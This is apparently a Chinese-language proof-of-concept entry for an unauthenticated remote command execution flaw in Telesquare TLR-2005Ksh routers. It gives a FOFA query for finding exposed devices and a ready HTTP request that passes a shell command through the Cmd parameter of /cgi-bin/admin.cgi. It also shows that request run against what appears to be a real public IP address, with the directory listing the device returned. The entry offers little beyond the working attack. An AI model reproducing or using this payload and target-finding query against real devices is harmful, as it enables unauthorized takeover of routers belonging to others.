

T9-1Telesquare-TLR-2005Ksh路由器-RCE

漏洞描述:

Telesquare TLR-2005Ksh 1.0.0和1.1.4版本存在未经授权的远程[命令执行漏洞](#)。攻击者可以利用此漏洞在未经Cmd参数授权的情况下执行系统命令并获取服务器权限。

影响版本:

1.0.0 < version < 1.1.4

网站图片:



사용자 아이디와 비밀번호를 입력 해 주세요.

사용자 아이디

비밀번호

로그인

网络测绘:

fofa语法:

FOFA: app="TELESQUARE-TLR-2005KSH"

漏洞复现:

payload:

```
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ls%20-la HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55
Connection: close
Accept: */*
Accept-Encoding: gzip
```

效果图:

Request

< > 数据包扫描 美化 热加载 构造请求

```
1 GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ls%20-1a HTTP/1.1
2 Host: 27.174.73.196:8087
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
  97.0.4692.71 Safari/537.36 Edg/97.0.1072.55
4 Connection: close
5 Accept: */*
6 Accept-Encoding: gzip
```

Responses 2122bytes / 178ms

```
1 HTTP/1.1 200 OK
2 Connection: close
3 Content-type: text/xml
4 Date: Sun, 07 Apr 2024 07:50:17 GMT
5 Server: lighttpd/1.4.20
6 Content-Length: 2122
7
8 <?xml version="1.0" encoding="UTF-8">
9 <xml>
10 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
11 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
12 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
13 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
14 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
15 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
16 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
17 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
18 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
19 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
20 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
21 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
22 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
23 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
24 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
25 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
26 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
27 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
28 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
29 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
30 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
31 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
32 <CmdResult><![CDATA[-rwxrwxr-x-...]]></CmdResult>
```